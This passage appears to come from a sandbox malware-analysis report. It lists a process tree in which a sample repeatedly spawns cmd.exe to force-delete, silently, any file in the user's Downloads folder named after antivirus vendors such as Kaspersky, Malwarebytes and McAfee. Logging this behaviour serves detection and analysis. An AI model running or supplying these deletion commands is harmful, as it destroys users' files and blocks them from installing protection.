  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5700
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5728
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5744
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5812
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5808
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4852
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5864
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5860
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5896
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5936
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5952
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5972
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:6044
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:6060
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:6072
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:6116
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:6140
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5124
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5164
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5184
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5228
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5268
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5320
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5376
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5424
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:2860
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:112
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3388
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5448
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:2732
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4624
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:3380
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:4024
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:2808
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4100
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3328
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3652
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1812
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:1792
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:3732
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4908
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1700
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:1632
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:3772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5100
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4944
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3188
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3836
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5128
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:2520
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:1304
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:2844
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1096
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2020
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:3696
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5064
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5008
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5348
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:868
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:2664
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:2932
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4388
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5652
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:764
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:928
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:872
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4260
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:2356
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5396
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3844
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:3336
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4676
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4996
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1704
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:2900
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2128
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2776
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:1804
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:3228
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3916
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3860
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1124
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:1468
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4472
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3636
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4080
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:1344
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2184
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:3104
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:2772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3812
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:4556
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:3400
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:2232
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5484
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5512
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5528
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5592
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5628
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5640
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5712
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:2016
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5788
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3768
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5872
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5880
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5904
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5968
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5544
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:6024
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:6088
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:2748
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5148
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5168
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5248
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5276
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5328
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1648
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:4320
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2028
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:1136
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4972
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:1308
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5220
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:2576
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:1832
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:880
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3100
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1128
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:4300
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:6000
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5068
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:2824
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3848
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:2560
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4292
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4564
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4332
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:776
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:2536
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:4504
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2740
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:1084
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:2260
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3820
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:4420
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5076
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:2320
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4480
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4180
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:3308
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2304
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:1256
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:2292
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4704
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3932
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:4880
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:740
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:2316
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:1400
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5380
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5036
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:3976
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:1112
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5020
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4572
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4588
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:1492
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4324
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3396
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2344
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3360
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:3452
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:376
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5144
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4664
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5516
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5520
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5568
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5644
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5680
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:1004
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5724
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5820
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5792
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:4532
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5928
- C:\Windows\SYSTEM32\cmd.exe
